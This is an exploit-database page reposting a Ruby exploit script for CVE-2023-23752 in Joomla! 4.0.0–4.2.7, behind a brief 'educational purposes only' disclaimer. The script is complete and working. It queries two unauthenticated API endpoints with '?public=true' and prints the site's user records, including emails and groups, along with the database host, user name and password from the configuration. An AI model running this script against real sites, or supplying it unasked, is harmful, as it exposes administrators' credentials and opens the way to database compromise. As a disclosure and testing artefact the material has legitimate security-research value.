Joomla! v4.2.8 unauthenticated information disclosure Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2023-04-08 | Type : webapps | Platform : php
This exploit / vulnerability Joomla! v4.2.8 unauthenticated information disclosure is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

#!/usr/bin/env ruby

# Exploit
## Title: Joomla! v4.2.8 - Unauthenticated information disclosure
## Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr)
## Author website: https://pwn.by/noraj/
## Exploit source: https://github.com/Acceis/exploit-CVE-2023-23752
## Date: 2023-03-24
## Vendor Homepage: https://www.joomla.org/
## Software Link: https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.tar.gz?format=gz
## Version: 4.0.0 < 4.2.8 (it means from 4.0.0 up to 4.2.7)
## Tested on: Joomla! Version 4.2.7
## CVE : CVE-2023-23752
## References:
## - https://nsfocusglobal.com/joomla-unauthorized-access-vulnerability-cve-2023-23752-notice/
## - https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html
## - https://attackerkb.com/topics/18qrh3PXIX/cve-2023-23752
## - https://nvd.nist.gov/vuln/detail/CVE-2023-23752
## - https://vulncheck.com/blog/joomla-for-rce
## - https://github.com/projectdiscovery/nuclei-templates/blob/main/cves/2023/CVE-2023-23752.yaml

# standard library
require 'json'
# gems
require 'httpx'
require 'docopt'
require 'paint'

doc = <<~DOCOPT
#{Paint['Joomla! < 4.2.8 - Unauthenticated information disclosure', :bold]}

#{Paint['Usage:', :red]}
#{__FILE__} <url> [options]
#{__FILE__} -h | --help

#{Paint['Parameters:', :red]}
<url> Root URL (base path) including HTTP scheme, port and root folder

#{Paint['Options:', :red]}
--debug Display arguments
--no-color Disable colorized output (NO_COLOR environment variable is respected too)
-h, --help Show this screen

#{Paint['Examples:', :red]}
#{__FILE__} http://127.0.0.1:4242
#{__FILE__} https://example.org/subdir

#{Paint['Project:', :red]}
#{Paint['author', :underline]} (https://pwn.by/noraj / https://twitter.com/noraj_rawsec)
#{Paint['company', :underline]} (https://www.acceis.fr / https://twitter.com/acceis)
#{Paint['source', :underline]} (https://github.com/Acceis/exploit-CVE-2023-23752)
DOCOPT

def fetch_users(root_url, http)
vuln_url = "#{root_url}/api/index.php/v1/users?public=true"
http.get(vuln_url)
end

def parse_users(root_url, http)
data_json = fetch_users(root_url, http)
data = JSON.parse(data_json)['data']
users = []
data.each do |user|
if user['type'] == 'users'
id = user['attributes']['id']
name = user['attributes']['name']
username = user['attributes']['username']
email = user['attributes']['email']
groups = user['attributes']['group_names']
users << {id: id, name: name, username: username, email: email, groups: groups}
end
end
users
end

def display_users(root_url, http)
users = parse_users(root_url, http)
puts Paint['Users', :red, :bold]
users.each do |u|
puts "[#{u[:id]}] #{u[:name]} (#{Paint[u[:username], :yellow]}) - #{u[:email]} - #{u[:groups]}"
end
end

def fetch_config(root_url, http)
vuln_url = "#{root_url}/api/index.php/v1/config/application?public=true"
http.get(vuln_url)
end

def parse_config(root_url, http)
data_json = fetch_config(root_url, http)
data = JSON.parse(data_json)['data']
config = {}
data.each do |entry|
if entry['type'] == 'application'
key = entry['attributes'].keys.first
config[key] = entry['attributes'][key]
end
end
config
end

def display_config(root_url, http)
c = parse_config(root_url, http)
puts Paint['Site info', :red, :bold]
puts "Site name: #{c['sitename']}"
puts "Editor: #{c['editor']}"
puts "Captcha: #{c['captcha']}"
puts "Access: #{c['access']}"
puts "Debug status: #{c['debug']}"
puts
puts Paint['Database info', :red, :bold]
puts "DB type: #{c['dbtype']}"
puts "DB host: #{c['host']}"
puts "DB user: #{Paint[c['user'], :yellow, :bold]}"
puts "DB password: #{Paint[c['password'], :yellow, :bold]}"
puts "DB name: #{c['db']}"
puts "DB prefix: #{c['dbprefix']}"
puts "DB encryption #{c['dbencryption']}"
end

begin
args = Docopt.docopt(doc)
Paint.mode = 0 if args['--no-color']
puts args if args['--debug']

http = HTTPX
display_users(args['<url>'], http)
puts
display_config(args['<url>'], http)
rescue Docopt::Exit => e
puts e.message
end